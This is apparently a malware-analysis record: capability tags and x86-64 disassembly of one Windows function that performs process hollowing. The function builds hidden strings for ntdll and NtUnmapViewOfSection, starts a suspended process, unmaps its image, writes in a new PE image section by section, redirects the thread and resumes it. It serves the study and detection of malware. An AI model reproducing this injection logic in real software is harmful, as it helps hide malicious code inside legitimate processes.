Function at 0x14004dd64
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x78]
sub rsp, 0x178
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov rax, qword [0x14007a0b8]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov r13, r9
mov r15, r8
mov r14, rdx
mov rsi, rcx
mov qword [rbp - 0x70], rcx
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x58], rax
xor edi, edi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
or rbx, 0xffffffffffffffff
mov dword [rbp + 0x50], ebx
lea rcx, [rbp + 0x50]
call fcn.1400493c8
mov r12b, byte [rbp + 0xf8]
xor ecx, ecx
test r12b, r12b
je 0x14004df29
movdqa xmm0, xmmword [0x1400560d0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], cl
mov r9b, byte [rbp + 0xf0]
lea r8, [rbp + 0x30]
lea rdx, [rsp + 0x78]
mov ecx, eax
call fcn.140013480
xor edx, edx
test al, al
je 0x14004dea1
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14004dea1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rdi + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14001adb8
xor ecx, ecx
test eax, eax
je 0x14004de85
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x68]
call fcn.140005474
xor ecx, ecx
test eax, eax
je 0x14004de66
mov dil, 1
jmp 0x14004dee5
mov word [rbp + 0x50], 0x3231
mov byte [rbp + 0x52], cl
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], cl
jne 0x14004de76
lea rdx, [rbp + 0x50]
jmp 0x14004dedc
mov word [rbp + 0x51], 0x31
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], cl
jne 0x14004de96
jmp 0x14004de7f
mov word [rbp + 0x51], 0x5f30
mov byte [rbp + 0x53], dl
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], dl
jne 0x14004deb5
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.14002046c
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
mov rcx, r13
call fcn.14002046c
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14004df20
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004df1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e683
call fcn.140025f60
test dil, dil
je 0x14004e65b
lea rdx, [0x140056fd0]
lea rcx, [rbp + 0x30]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x14004df43
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14004df8a
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004df85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e689
call fcn.140025f60
movdqa xmm0, xmmword [0x1400560d0]
movdqu xmmword [rbp + 0x40], xmm0
xor eax, eax
mov byte [rbp + 0x30], al
test rdi, rdi
je 0x14004e636
lea rdx, [0x140057bd0]
lea rcx, [rbp + 0x10]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x14004dfbf
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aed8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004e00d
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e008
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e68f
call fcn.140025f60
lea rdx, [0x140057bf8]
lea rcx, [rbp + 0x10]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x14004e027
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aee0], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004e075
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e070
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e695
call fcn.140025f60
lea rdx, [0x140057c20]
lea rcx, [rbp + 0x10]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x14004e08f
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aee8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004e0dd
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e0d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e69b
call fcn.140025f60
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14004e4e6
movsxd rsi, dword [rsi + 0x3c]
add rsi, qword [rbp - 0x70]
cmp dword [rsi], 0x4550
jne 0x14004e4ca
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.14000580c
mov ecx, 0x14c
mov eax, dword [rbp - 0x80]
xor r8d, r8d
cmp word [rsi + 4], cx
jne 0x14004e124
test eax, eax
jne 0x14004e65b
mov ecx, 0x8664
cmp word [rsi + 4], cx
jne 0x14004e138
cmp eax, 6
jne 0x14004e65b
lea rdi, [rbp + 0x30]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x60]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x60], edx
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r8w
lea rax, [rbp + 0x30]
xor r9d, r9d
test r12b, r12b
je 0x14004e1aa
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r8
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r8d
mov qword [rsp + 0x20], r8
mov r8, r15
mov rdx, r14
mov rcx, qword [rsp + 0x70]
call fcn.14001aed0
jmp 0x14004e1dd
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r8d
xor r8d, r8d
mov rdx, r15
mov rcx, r14
call fcn.14001b06c
xor r14d, r14d
test eax, eax
je 0x14004e4b1
lea edx, [r14 + 0xc]
xor ecx, ecx
lea r9d, [r14 + 4]
mov r8d, 0x1000
call fcn.140005d54
mov r15, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x38]
call fcn.140051260
test eax, eax
je 0x14004e498
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r14
lea r9d, [r14 + 8]
lea r8, [rbp - 0x78]
mov rcx, qword [rbp + 0x30]
call qword [0x14007aed8]
mov dword [rbp + 0x50], 0x5f3777
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x14004e24b
lea rdx, [rbp + 0x50]
mov rdi, qword [rbp + 0x58]
mov rcx, rdi
call fcn.14002046c
lea r12, [rsi + 0x30]
mov eax, dword [rbp - 0x78]
mov word [rbp + 0x50], 0x6d69
mov r8, rbx
cmp rax, qword [r12]
lea rax, [rbp + 0x50]
jne 0x14004e299
mov word [rbp + 0x52], 0x6f67
mov word [rbp + 0x55], 0x5f
mov byte [rbp + 0x54], 0x6f
inc r8
cmp byte [rax + r8], r14b
jne 0x14004e28e
jmp 0x14004e2ad
mov dword [rbp + 0x53], 0x5f6666
mov byte [rbp + 0x52], 0x67
inc r8
cmp byte [rax + r8], r14b
jne 0x14004e2a4
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14002046c
mov eax, dword [rbp - 0x78]
cmp rax, qword [r12]
jne 0x14004e375
mov dword [rbp + 0x5b], 0x642e6c6c
mov word [rbp + 0x60], 0x6c
mov byte [rbp + 0x5f], 0x6c
mov word [rbp + 0x58], 0x746e
mov byte [rbp + 0x5a], 0x64
mov dword [rbp + 0x11], 0x6d6e5574
mov word [rbp + 0x20], 0x6974
mov word [rbp + 0x23], 0x6e
mov dword [rbp + 0x1a], 0x53664f77
mov dword [rbp + 0x16], 0x65695670
mov word [rbp + 0x1e], 0x6365
mov byte [rbp + 0x10], 0x4e
mov byte [rbp + 0x22], 0x6f
mov byte [rbp + 0x15], 0x61
lea rcx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp + 0x30]
call rax
mov r8, rbx
test eax, eax
lea rax, [rbp + 0x50]
jne 0x14004e352
mov dword [rbp + 0x50], 0x637573
inc r8
cmp byte [rax + r8], r14b
jne 0x14004e347
jmp 0x14004e369
mov word [rbp + 0x51], 0x6666
mov byte [rbp + 0x53], r14b
mov byte [rbp + 0x50], 0x66
inc r8
cmp byte [rax + r8], r14b
jne 0x14004e360
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14002046c
neg byte [rbp + 0xe8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], eax
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rbp + 0x30]
call fcn.14001abc4
mov r14, rax
xor ecx, ecx
test rax, rax
je 0x14004e462
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], rcx
mov r13, qword [rbp - 0x70]
mov r8, r13
mov rdx, rax
mov rcx, qword [rbp + 0x30]
call fcn.14001a448
movzx edi, word [rsi + 0x14]
add rdi, 0x2c
xor eax, eax
mov ebx, eax
cmp ax, word [rsi + 6]
jae 0x14004e412
add rdi, rsi
xor r12d, r12d
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r13
mov edx, dword [rdi - 8]
add rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0x30]
call fcn.14001a448
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [rsi + 6]
cmp ebx, eax
jl 0x14004e3e0
lea r12, [rsi + 0x30]
xor eax, eax
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp + 0x30]
call fcn.14001a448
mov eax, dword [rsi + 0x28]
add rax, r14
mov qword [r15 + 0x80], rax
mov rdx, r15
mov rcx, qword [rbp + 0x38]
call qword [0x14007aee0]
mov rcx, qword [rbp + 0x38]
call qword [0x14007aee8]
mov bl, 1
xor r14d, r14d
jmp 0x14004e512
mov word [rbp + 0x50], 0x3831
xor r14d, r14d
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14004e473
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.14002046c
xor edx, edx
mov rcx, qword [rbp + 0x30]
call fcn.14005079c
jmp 0x14004e50f
mov word [rbp + 0x50], 0x3731
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14004e4a6
jmp 0x14004e47c
mov word [rbp + 0x51], 0x36
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14004e4bf
jmp 0x14004e500
mov word [rbp + 0x50], 0x3531
xor r14d, r14d
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14004e4db
jmp 0x14004e500
mov word [rbp + 0x50], 0x3431
xor r14d, r14d
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14004e4f7
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.14002046c
mov bl, r14b
cmp qword [rsp + 0x68], r14
je 0x14004e60f
lea rdx, [0x140057c40]
lea rcx, [rbp + 0x30]
call fcn.14000aec0
nop
cmp qword [rax + 0x18], 0x10
jb 0x14004e538
mov rax, qword [rax]
mov rcx, rax
call fcn.14001b9b8
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14004e57e
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e579
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6a1
call fcn.140025f60
movdqa xmm0, xmmword [0x1400560d0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r14b
test rdi, rdi
je 0x14004e60f
lea rdx, [0x140057c60]
lea rcx, [rbp + 0x10]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x14004e5ae
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aec8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004e603
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e5f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e67d
call fcn.140025f60
mov rax, qword [0x14007aec8]
test rax, rax
je 0x14004e60f
mov rcx, qword [rsp + 0x68]
call rax
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14004e623
call fcn.1400064a0
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14004e632
call fcn.1400064a0
mov al, bl
jmp 0x14004e65d
mov word [rbp + 0x51], 0x33
mov byte [rbp + 0x50], 0x31
lea rcx, [rbp + 0x50]
inc rbx
cmp byte [rcx + rbx], al
jne 0x14004e644
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.14002046c
xor al, al
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.140026000
add rsp, 0x178
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3